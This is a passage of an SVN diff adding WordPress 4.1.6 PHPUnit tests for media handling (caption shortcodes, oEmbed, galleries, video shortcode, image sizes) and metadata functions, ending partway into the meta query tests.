+	}
+
+	function test_img_caption_shortcode_with_bad_attr() {
+		$result = img_caption_shortcode( array(), 'content' );
+		$this->assertEquals( 'content', 'content' );
+	}
+
+	function test_img_caption_shortcode_with_old_format() {
+		$result = img_caption_shortcode(
+			array( 'width' => 20, 'caption' => $this->caption )
+		);
+		$this->assertEquals( 2, preg_match_all( '/wp-caption/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( '/alignnone/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "/width: 30/", $result, $_r ) );
+	}
+
+	function test_img_caption_shortcode_with_old_format_id_and_align() {
+		$result = img_caption_shortcode(
+			array(
+				'width' => 20,
+				'caption' => $this->caption,
+				'id' => '"myId',
+				'align' => '&myAlignment'
+			)
+		);
+		$this->assertEquals( 1, preg_match_all( '/wp-caption &amp;myAlignment/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( '/id="&quot;myId"/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) );
+	}
+
+	function test_new_img_caption_shortcode_with_html_caption() {
+		$result = img_caption_shortcode(
+			array( 'width' => 20, 'caption' => $this->html_content )
+		);
+		$our_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$our_preg}~", $result, $_r ) );
+	}
+
+	function test_new_img_caption_shortcode_new_format() {
+		$result = img_caption_shortcode(
+			array( 'width' => 20 ),
+			$this->img_content . $this->html_content
+		);
+		$img_preg = preg_quote( $this->img_content );
+		$content_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+	}
+
+	function test_new_img_caption_shortcode_new_format_and_linked_image() {
+		$linked_image = "<a href='#'>{$this->img_content}</a>";
+		$result = img_caption_shortcode(
+			array( 'width' => 20 ),
+			$linked_image . $this->html_content
+		);
+		$img_preg = preg_quote( $linked_image );
+		$content_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+	}
+
+	function test_new_img_caption_shortcode_new_format_and_linked_image_with_newline() {
+		$linked_image = "<a href='#'>{$this->img_content}</a>";
+		$result = img_caption_shortcode(
+			array( 'width' => 20 ),
+			$linked_image . "\n\n" . $this->html_content
+		);
+		$img_preg = preg_quote( $linked_image );
+		$content_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+	}
+
+	function test_add_remove_oembed_provider() {
+		wp_oembed_add_provider( 'http://foo.bar/*', 'http://foo.bar/oembed' );
+		$this->assertTrue( wp_oembed_remove_provider( 'http://foo.bar/*' ) );
+		$this->assertFalse( wp_oembed_remove_provider( 'http://foo.bar/*' ) );
+	}
+
+	/**
+	 * Test secure youtube.com embeds
+	 *
+	 * @ticket 23149
+	 */
+	function test_youtube_com_secure_embed() {
+		global $wp_embed;
+
+		$out = wp_oembed_get( 'http://www.youtube.com/watch?v=oHg5SJYRHA0' );
+		$this->assertContains( 'https://www.youtube.com/embed/oHg5SJYRHA0?feature=oembed', $out );
+
+		$out = wp_oembed_get( 'https://www.youtube.com/watch?v=oHg5SJYRHA0' );
+		$this->assertContains( 'https://www.youtube.com/embed/oHg5SJYRHA0?feature=oembed', $out );
+
+		$out = wp_oembed_get( 'https://youtu.be/zHjMoNQN7s0' );
+		$this->assertContains( 'https://www.youtube.com/embed/zHjMoNQN7s0?feature=oembed', $out );
+	}
+
+	function test_wp_prepare_attachment_for_js() {
+		// Attachment without media
+		$id = wp_insert_attachment(array(
+			'post_status' => 'publish',
+			'post_title' => 'Prepare',
+			'post_content_filtered' => 'Prepare',
+			'post_type' => 'post'
+		));
+		$post = get_post( $id );
+
+		$prepped = wp_prepare_attachment_for_js( $post );
+		$this->assertInternalType( 'array', $prepped );
+		$this->assertEquals( 0, $prepped['uploadedTo'] );
+		$this->assertEquals( '', $prepped['mime'] );
+		$this->assertEquals( '', $prepped['type'] );
+		$this->assertEquals( '', $prepped['subtype'] );
+		// #21963, there will be a guid always, so there will be a URL
+		$this->assertNotEquals( '', $prepped['url'] );
+		$this->assertEquals( site_url( 'wp-includes/images/media/default.png' ), $prepped['icon'] );
+
+		// Fake a mime
+		$post->post_mime_type = 'image/jpeg';
+		$prepped = wp_prepare_attachment_for_js( $post );
+		$this->assertEquals( 'image/jpeg', $prepped['mime'] );
+		$this->assertEquals( 'image', $prepped['type'] );
+		$this->assertEquals( 'jpeg', $prepped['subtype'] );
+
+		// Fake a mime without a slash. See #WP22532
+		$post->post_mime_type = 'image';
+		$prepped = wp_prepare_attachment_for_js( $post );
+		$this->assertEquals( 'image', $prepped['mime'] );
+		$this->assertEquals( 'image', $prepped['type'] );
+		$this->assertEquals( '', $prepped['subtype'] );
+	}
+
+	/**
+	 * @ticket 19067
+	 * @expectedDeprecated wp_convert_bytes_to_hr
+	 */
+	function test_wp_convert_bytes_to_hr() {
+		$kb = 1024;
+		$mb = $kb * 1024;
+		$gb = $mb * 1024;
+		$tb = $gb * 1024;
+
+		// test if boundaries are correct
+		$this->assertEquals( '1TB', wp_convert_bytes_to_hr( $tb ) );
+		$this->assertEquals( '1GB', wp_convert_bytes_to_hr( $gb ) );
+		$this->assertEquals( '1MB', wp_convert_bytes_to_hr( $mb ) );
+		$this->assertEquals( '1kB', wp_convert_bytes_to_hr( $kb ) );
+
+		$this->assertEquals( '1 TB', size_format( $tb ) );
+		$this->assertEquals( '1 GB', size_format( $gb ) );
+		$this->assertEquals( '1 MB', size_format( $mb ) );
+		$this->assertEquals( '1 kB', size_format( $kb ) );
+
+		// now some values around
+		$hr = wp_convert_bytes_to_hr( $tb + $tb / 2 + $mb );
+		$this->assertTrue( abs( 1.50000095367 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+		$hr = wp_convert_bytes_to_hr( $tb - $mb - $kb );
+		$this->assertTrue( abs( 1023.99902248 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+		$hr = wp_convert_bytes_to_hr( $gb + $gb / 2 + $mb );
+		$this->assertTrue( abs( 1.5009765625 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+		$hr = wp_convert_bytes_to_hr( $gb - $mb - $kb );
+		$this->assertTrue( abs( 1022.99902344 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
+
+		// edge
+		$this->assertEquals( '-1B', wp_convert_bytes_to_hr( -1 ) );
+		$this->assertEquals( '0B', wp_convert_bytes_to_hr( 0 ) );
+	}
+
+	/**
+	 * @ticket 22960
+	 */
+	function test_get_attached_images() {
+		$post_id = $this->factory->post->create();
+		$attachment_id = $this->factory->attachment->create_object( $this->img_name, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+
+		$images = get_attached_media( 'image', $post_id );
+		$this->assertEquals( $images, array( $attachment_id => get_post( $attachment_id ) ) );
+	}
+
+	/**
+	 * @ticket 22960
+	 */
+	function test_post_galleries_images() {
+		$ids1 = array();
+		$ids1_srcs = array();
+		foreach ( range( 1, 3 ) as $i ) {
+			$attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+			$ids1[] = $attachment_id;
+			$ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids2 = array();
+		$ids2_srcs = array();
+		foreach ( range( 4, 6 ) as $i ) {
+			$attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+			$ids2[] = $attachment_id;
+			$ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids1_joined = join( ',', $ids1 );
+		$ids2_joined = join( ',', $ids2 );
+
+		$blob =<<<BLOB
+[gallery ids="$ids1_joined"]
+
+[gallery ids="$ids2_joined"]
+BLOB;
+		$post_id = $this->factory->post->create( array( 'post_content' => $blob ) );
+		$srcs = get_post_galleries_images( $post_id );
+		$this->assertEquals( $srcs, array( $ids1_srcs, $ids2_srcs ) );
+	}
+
+	/**
+	 * @ticket 22960
+	 */
+	function test_post_gallery_images() {
+		$ids1 = array();
+		$ids1_srcs = array();
+		foreach ( range( 1, 3 ) as $i ) {
+			$attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+			$ids1[] = $attachment_id;
+			$ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids2 = array();
+		$ids2_srcs = array();
+		foreach ( range( 4, 6 ) as $i ) {
+			$attachment_id = $this->factory->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			wp_update_attachment_metadata( $attachment_id, $this->img_dimensions );
+			$ids2[] = $attachment_id;
+			$ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids1_joined = join( ',', $ids1 );
+		$ids2_joined = join( ',', $ids2 );
+
+		$blob =<<<BLOB
+[gallery ids="$ids1_joined"]
+
+[gallery ids="$ids2_joined"]
+BLOB;
+		$post_id = $this->factory->post->create( array( 'post_content' => $blob ) );
+		$srcs = get_post_gallery_images( $post_id );
+		$this->assertEquals( $srcs, $ids1_srcs );
+	}
+
+	function test_get_media_embedded_in_content() {
+		$object =<<<OBJ
+<object src="this" data="that">
+	<param name="value"/>
+</object>
+OBJ;
+		$embed =<<<EMBED
+<embed src="something.mp4"/>
+EMBED;
+		$iframe =<<<IFRAME
+<iframe src="youtube.com" width="7000" />
+IFRAME;
+		$audio =<<<AUDIO
+<audio preload="none">
+	<source />
+</audio>
+AUDIO;
+		$video =<<<VIDEO
+<video preload="none">
+	<source />
+</video>
+VIDEO;
+
+		$content =<<<CONTENT
+This is a comment
+$object
+
+This is a comment
+$embed
+
+This is a comment
+$iframe
+
+This is a comment
+$audio
+
+This is a comment
+$video
+
+This is a comment
+CONTENT;
+
+		$types = array( 'audio', 'video', 'object', 'embed', 'iframe' );
+		$contents = array_values( compact( $types ) );
+
+		$matches = get_media_embedded_in_content( $content, 'audio' );
+		$this->assertEquals( array( $audio ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'video' );
+		$this->assertEquals( array( $video ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'object' );
+		$this->assertEquals( array( $object ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'embed' );
+		$this->assertEquals( array( $embed ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'iframe' );
+		$this->assertEquals( array( $iframe ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, $types );
+		$this->assertEquals( $contents, $matches );
+	}
+
+	/**
+	 * Test [video] shortcode processing
+	 *
+	 */
+	function test_video_shortcode_body() {
+		$width = 720;
+		$height = 480;
+
+		$post_id = get_post() ? get_the_ID() : 0;
+
+		$video =<<<VIDEO
+[video width="720" height="480" mp4="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4"]
+<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+<source type="video/webm" src="myvideo.webm" />
+<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+<source type="video/ogg" src="myvideo.ogv" />
+<!-- Optional: Add subtitles for each language -->
+<track kind="subtitles" src="subtitles.srt" srclang="en" />
+<!-- Optional: Add chapters -->
+<track kind="chapters" src="chapters.srt" srclang="en" />
+[/video]
+VIDEO;
+
+		$w = empty( $GLOBALS['content_width'] ) ? 640 : $GLOBALS['content_width'];
+		$h = ceil( ( $height * $w ) / $width );
+
+		$content = apply_filters( 'the_content', $video );
+
+		$expected = '<div style="width: ' . $w . 'px; " class="wp-video">' .
+			"<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n" .
+			'<video class="wp-video-shortcode" id="video-' . $post_id . '-1" width="' . $w . '" height="' . $h . '" preload="metadata" controls="controls">' .
+			'<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4?_=1" />' .
+			'<!-- WebM/VP8 for Firefox4, Opera, and Chrome --><source type="video/webm" src="myvideo.webm" />' .
+			'<!-- Ogg/Vorbis for older Firefox and Opera versions --><source type="video/ogg" src="myvideo.ogv" />' .
+			'<!-- Optional: Add subtitles for each language --><track kind="subtitles" src="subtitles.srt" srclang="en" />' .
+			'<!-- Optional: Add chapters --><track kind="chapters" src="chapters.srt" srclang="en" />' .
+			'<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">' .
+			"http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a></video></div>\n";
+
+		$this->assertEquals( $expected, $content );
+	}
+
+	/**
+	 * @ticket 26768
+	 */
+	function test_add_image_size() {
+		global $_wp_additional_image_sizes;
+
+		if ( ! isset( $_wp_additional_image_sizes ) ) {
+			$_wp_additional_image_sizes = array();
+		}
+
+		$this->assertArrayNotHasKey( 'test-size', $_wp_additional_image_sizes );
+		add_image_size( 'test-size', 200, 600 );
+		$this->assertArrayHasKey( 'test-size', $_wp_additional_image_sizes );
+		$this->assertEquals( 200, $_wp_additional_image_sizes['test-size']['width'] );
+		$this->assertEquals( 600, $_wp_additional_image_sizes['test-size']['height'] );
+	}
+
+	/**
+	 * @ticket 26768
+	 */
+	function test_remove_image_size() {
+		add_image_size( 'test-size', 200, 600 );
+		$this->assertTrue( has_image_size( 'test-size' ) );
+		remove_image_size( 'test-size' );
+		$this->assertFalse( has_image_size( 'test-size' ) );
+	}
+
+	/**
+	 * @ticket 26951
+	 */
+	function test_has_image_size() {
+		add_image_size( 'test-size', 200, 600 );
+		$this->assertTrue( has_image_size( 'test-size' ) );
+	}
+
+	/**
+	 * @ticket 30346
+	 */
+	function test_attachment_url_to_postid() {
+		$image_path = '2014/11/' . $this->img_name;
+		$attachment_id = $this->factory->attachment->create_object( $image_path, 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type'      => 'attachment',
+		) );
+
+		$image_url  = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $image_path;
+		$this->assertEquals( $attachment_id, attachment_url_to_postid( $image_url ) );
+
+		add_filter( 'upload_dir', array( $this, '_upload_dir' ) );
+		$image_url = 'http://192.168.1.20.com/wp-content/uploads/' . $image_path;
+		$this->assertEquals( $attachment_id, attachment_url_to_postid( $image_url ) );
+		remove_filter( 'upload_dir', array( $this, '_upload_dir' ) );
+	}
+
+	function _upload_dir( $dir ) {
+		$dir['baseurl'] = 'http://192.168.1.20.com/wp-content/uploads';
+		return $dir;
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/meta.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/meta.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/meta.php	(revision 33402)
@@ -0,0 +1,340 @@
+<?php
+
+/**
+ * @group meta
+ */
+class Tests_Meta extends WP_UnitTestCase {
+	protected $updated_mids = array();
+
+	function setUp() {
+		parent::setUp();
+		$this->author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+		$this->meta_id = add_metadata( 'user', $this->author->ID, 'meta_key', 'meta_value' );
+		$this->delete_meta_id = add_metadata( 'user', $this->author->ID, 'delete_meta_key', 'delete_meta_value' );
+	}
+
+	function _meta_sanitize_cb ( $meta_value, $meta_key, $meta_type ) {
+		return 'sanitized';
+	}
+
+	function test_sanitize_meta() {
+		$meta = sanitize_meta( 'some_meta', 'unsanitized', 'post' );
+		$this->assertEquals( 'unsanitized', $meta );
+
+		register_meta( 'post', 'some_meta', array( $this, '_meta_sanitize_cb' ) );
+		$meta = sanitize_meta( 'some_meta', 'unsanitized', 'post' );
+		$this->assertEquals( 'sanitized', $meta );
+	}
+
+	function test_delete_metadata_by_mid() {
+		// Let's try and delete a non-existing ID, non existing meta
+		$this->assertFalse( delete_metadata_by_mid( 'user', 0 ) );
+		$this->assertFalse( delete_metadata_by_mid( 'non_existing_meta', $this->delete_meta_id ) );
+
+		// Now let's delete the real meta data
+		$this->assertTrue( delete_metadata_by_mid( 'user', $this->delete_meta_id ) );
+
+		// And make sure it's been deleted
+		$this->assertFalse( get_metadata_by_mid( 'user', $this->delete_meta_id ) );
+
+		// Make sure the caches are cleared
+		$this->assertFalse( (bool) get_user_meta( $this->author->ID, 'delete_meta_key' ) );
+	}
+
+	function test_update_metadata_by_mid() {
+		// Setup
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+
+		// Update the meta value
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_new_value' ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( 'meta_new_value', $meta->meta_value );
+
+		// Update the meta value
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_new_value', 'meta_new_key' ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( 'meta_new_key', $meta->meta_key );
+
+		// Update the key and value
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_value', 'meta_key' ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( 'meta_key', $meta->meta_key );
+		$this->assertEquals( 'meta_value', $meta->meta_value );
+
+		// Update the value that has to be serialized
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, array( 'first', 'second' ) ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( array( 'first', 'second' ), $meta->meta_value );
+
+		// Let's try some invalid meta data
+		$this->assertFalse( update_metadata_by_mid( 'user', 0, 'meta_value' ) );
+		$this->assertFalse( update_metadata_by_mid( 'user', $this->meta_id, 'meta_value', array('invalid', 'key' ) ) );
+
+		// Let's see if caches get cleared after updates.
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$first = get_user_meta( $meta->user_id, $meta->meta_key );
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'other_meta_value' ) );
+		$second = get_user_meta( $meta->user_id, $meta->meta_key );
+		$this->assertFalse( $first === $second );
+	}
+
+	/**
+	 * @ticket 11683
+	 */
+	public function test_update_metadata_hooks_for_multiple_updated_rows() {
+		add_metadata( 'post', 1, 'test_key', 'value_1' );
+		add_metadata( 'post', 1, 'test_key', 'value_2' );
+		add_action( 'update_post_meta', array( $this, 'updated_meta' ) );
+		add_action( 'update_postmeta', array( $this, 'updated_meta' ) );
+		add_action( 'updated_post_meta', array( $this, 'updated_meta' ) );
+		add_action( 'updated_postmeta', array( $this, 'updated_meta' ) );
+
+		update_metadata( 'post', 1, 'test_key', 'value_3' );
+
+		remove_action( 'update_post_meta', array( $this, 'updated_meta' ) );
+		remove_action( 'update_postmeta', array( $this, 'updated_meta' ) );
+		remove_action( 'updated_post_meta', array( $this, 'updated_meta' ) );
+		remove_action( 'updated_postmeta', array( $this, 'updated_meta' ) );
+
+		$found = $this->updated_mids;
+		$this->updated_mids = array();
+
+		foreach ( $found as $action => $mids ) {
+			$this->assertSame( 2, count( $mids ) );
+		}
+	}
+
+	function test_metadata_exists() {
+		$this->assertFalse( metadata_exists( 'user',  $this->author->ID, 'foobarbaz' ) );
+		$this->assertTrue( metadata_exists( 'user',  $this->author->ID, 'meta_key' ) );
+		$this->assertFalse( metadata_exists( 'user',  1234567890, 'foobarbaz' ) );
+		$this->assertFalse( metadata_exists( 'user',  1234567890, 'meta_key' ) );
+	}
+
+	/**
+	 * @ticket 22746
+	 */
+	function test_metadata_exists_with_filter() {
+		// Let's see if it returns the correct value when adding a filter.
+		add_filter( 'get_user_metadata', '__return_zero' );
+		$this->assertFalse( metadata_exists( 'user', $this->author->ID, 'meta_key' ) ); // existing meta key
+		$this->assertFalse( metadata_exists( 'user', 1234567890, 'meta_key' ) );
+		remove_filter( 'get_user_metadata', '__return_zero' );
+	}
+
+	/**
+	 * @ticket 18158
+	 */
+	function test_user_metadata_not_exists() {
+		$u = get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' )
+			)
+		) );
+
+		$this->assertEquals( 1, count( $u ) );
+
+		// User found is not locally defined author (it's the admin)
+		$this->assertNotEquals( $this->author->user_login, $u[0]->user_login );
+
+		// Test EXISTS and NOT EXISTS together, no users should be found
+		$this->assertEquals( 0, count( get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' ),
+				array( 'key' => 'delete_meta_key', 'compare' => 'EXISTS' )
+			)
+		) ) ) );
+
+		$this->assertEquals( 2, count( get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'non_existing_meta', 'compare' => 'NOT EXISTS' )
+			)
+		) ) ) );
+
+		delete_metadata( 'user', $this->author->ID, 'meta_key' );
+
+		$this->assertEquals( 2, count( get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' )
+			)
+		) ) ) );
+	}
+
+	function test_metadata_slashes() {
+		$key = rand_str();
+		$value = 'Test\\singleslash';
+		$expected = 'Testsingleslash';
+		$value2 = 'Test\\\\doubleslash';
+		$expected2 = 'Test\\doubleslash';
+		$this->assertFalse( metadata_exists( 'user', $this->author->ID, $key ) );
+		$this->assertFalse( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertInternalType( 'int', add_metadata( 'user', $this->author->ID, $key, $value ) );
+		$this->assertEquals( $expected, get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertInternalType( 'int', update_metadata( 'user', $this->author->ID, $key, $value ) );
+		$this->assertEquals( $expected, get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( update_metadata( 'user', $this->author->ID, $key, 'blah' ) );
+		$this->assertEquals( 'blah', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertFalse( metadata_exists( 'user', $this->author->ID, $key ) );
+
+		// Test overslashing
+		$this->assertInternalType( 'int', add_metadata( 'user', $this->author->ID, $key, $value2 ) );
+		$this->assertEquals( $expected2, get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertInternalType( 'int', update_metadata( 'user', $this->author->ID, $key, $value2 ) );
+		$this->assertEquals( $expected2, get_metadata( 'user', $this->author->ID, $key, true ) );
+	}
+
+	/**
+	 * @ticket 16814
+	 */
+	function test_meta_type_cast() {
+		$post_id1 = $this->factory->post->create();
+		add_post_meta( $post_id1, 'num_as_longtext', 123 );
+		add_post_meta( $post_id1, 'num_as_longtext_desc', 10 );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'num_as_longtext', 99 );
+		add_post_meta( $post_id2, 'num_as_longtext_desc', 100 );
+
+		$posts = new WP_Query( array(
+			'fields' => 'ids',
+			'post_type' => 'any',
+			'meta_key' => 'num_as_longtext',
+			'meta_value' => '0',
+			'meta_compare' => '>',
+			'meta_type' => 'UNSIGNED',
+			'orderby' => 'meta_value',
+			'order' => 'ASC'
+		) );
+
+		$this->assertEquals( array( $post_id2, $post_id1 ), $posts->posts );
+		$this->assertEquals( 2, substr_count( $posts->request, 'CAST(' ) );
+
+		// Make sure the newer meta_query syntax behaves in a consistent way
+		$posts = new WP_Query( array(
+			'fields' => 'ids',
+			'post_type' => 'any',
+			'meta_query' => array(
+				array(
+					'key' => 'num_as_longtext',
+					'value' => '0',
+					'compare' => '>',
+					'type' => 'UNSIGNED',
+				),
+			),
+			'orderby' => 'meta_value',
+			'order' => 'ASC'
+		) );
+
+		$this->assertEquals( array( $post_id2, $post_id1 ), $posts->posts );
+		$this->assertEquals( 2, substr_count( $posts->request, 'CAST(' ) );
+
+		// The legacy `meta_key` value should take precedence.
+		$posts = new WP_Query( array(
+			'fields' => 'ids',
+			'post_type' => 'any',
+			'meta_key' => 'num_as_longtext',
+			'meta_compare' => '>',
+			'meta_type' => 'UNSIGNED',
+			'meta_query' => array(
+				array(
+					'key' => 'num_as_longtext_desc',
+					'value' => '0',
+					'compare' => '>',
+					'type' => 'UNSIGNED',
+				),
+			),
+			'orderby' => 'meta_value',
+			'order' => 'ASC'
+		) );
+
+		$this->assertEquals( array( $post_id2, $post_id1 ), $posts->posts );
+		$this->assertEquals( 2, substr_count( $posts->request, 'CAST(' ) );
+	}
+
+	function test_meta_cache_order_asc() {
+		$post_id = $this->factory->post->create();
+		$colors = array( 'red', 'blue', 'yellow', 'green' );
+		foreach ( $colors as $color )
+			add_post_meta( $post_id, 'color', $color );
+
+		foreach ( range( 1, 10 ) as $i ) {
+			$meta = get_post_meta( $post_id, 'color' );
+			$this->assertEquals( $meta, $colors );
+
+			if ( 0 === $i % 2 )
+				wp_cache_delete( $post_id, 'post_meta' );
+		}
+	}
+
+	/**
+	 * @ticket 28315
+	 */
+	function test_non_numeric_object_id() {
+		$this->assertFalse( add_metadata( 'user', array( 1 ), 'meta_key', 'meta_value' ) );
+		$this->assertFalse( update_metadata( 'user', array( 1 ), 'meta_key', 'meta_new_value' ) );
+		$this->assertFalse( delete_metadata( 'user', array( 1 ), 'meta_key' ) );
+		$this->assertFalse( get_metadata( 'user', array( 1 ) ) );
+		$this->assertFalse( metadata_exists( 'user', array( 1 ), 'meta_key' ) );
+	}
+
+	/**
+	 * @ticket 28315
+	 */
+	function test_non_numeric_meta_id() {
+		$this->assertFalse( get_metadata_by_mid( 'user', array( 1 ) ) );
+		$this->assertFalse( update_metadata_by_mid( 'user', array( 1 ), 'meta_new_value' ) );
+		$this->assertFalse( delete_metadata_by_mid( 'user', array( 1 ) ) );
+	}
+
+	/**
+	 * @ticket 15030
+	 */
+	public function test_get_metadata_with_empty_key_array_value() {
+		$data = array( 1, 2 );
+		$value = serialize( $data );
+		add_metadata( 'user', $this->author->ID, 'foo', $data );
+		$found = get_metadata( 'user', $this->author->ID );
+
+		$this->assertSame( array( $value ), $found['foo'] );
+	}
+
+	/**
+	 * @ticket 15030
+	 */
+	public function test_get_metadata_with_empty_key_object_value() {
+		$data = new stdClass;
+		$data->foo = 'bar';
+		$value = serialize( $data );
+		add_metadata( 'user', $this->author->ID, 'foo', $data );
+		$found = get_metadata( 'user', $this->author->ID );
+
+		$this->assertEquals( array( $value ), $found['foo'] );
+	}
+
+	/**
+	 * @ticket 15030
+	 */
+	public function test_get_metadata_with_empty_key_nested_array_value() {
+		$data = array(
+			array( 1, 2 ),
+			array( 3, 4 ),
+		);
+		$value = serialize( $data );
+		add_metadata( 'user', $this->author->ID, 'foo', $data );
+		$found = get_metadata( 'user', $this->author->ID );
+
+		$this->assertSame( array( $value ), $found['foo'] );
+	}
+
+	/** Helpers **********************************************************/
+
+	public function updated_meta( $meta_id ) {
+		$this->updated_mids[ current_action() ][] = $meta_id;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/meta/query.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/meta/query.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/meta/query.php	(revision 33402)
@@ -0,0 +1,809 @@
+<?php
+/**
+ * Test WP_Meta_Query, in wp-includes/meta.php
+ *
+ * See tests/post/query.php for tests that involve post queries.
+ *
+ * @group meta
+ */
+class Tests_Meta_Query extends WP_UnitTestCase {
+
+	public function test_empty_meta_query_param() {
+		$query = new WP_Meta_Query();
+		$this->assertSame( null, $query->relation );
+	}
+
+	public function test_default_relation() {
+		$query = new WP_Meta_Query( array( array( 'key' => 'abc' ) ) );
+		$this->assertEquals( 'AND', $query->relation );
+	}
+
+	public function test_set_relation() {
+
+		$query = new WP_Meta_Query( array( array( 'key' => 'abc' ), 'relation' => 'AND' ) );
+
+		$this->assertEquals( 'AND', $query->relation );
+
+		$query = new WP_Meta_Query( array( array( 'key' => 'abc' ), 'relation' => 'OR' ) );
+
+		$this->assertEquals( 'OR', $query->relation );
+	}
+
+	/**
+	 * Non-arrays should not be added to the queries array.
+	 */
+	public function test_invalid_query_clauses() {
+		$query = new WP_Meta_Query( array(
+			'foo', // empty string
+			5, // int
+			false, // bool
+			array(),
+		) );
+
+		$this->assertSame( array(), $query->queries );
+	}
+
+	/**
+	 * Test all key only meta queries use the same INNER JOIN when using relation=OR
+	 *
+	 * @ticket 19729
+	 */
+	public function test_single_inner_join_for_keys_only() {
+
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array( 'key' => 'abc' ),
+			array( 'key' => 'def' ),
+			'relation' => 'OR'
+		) );
+
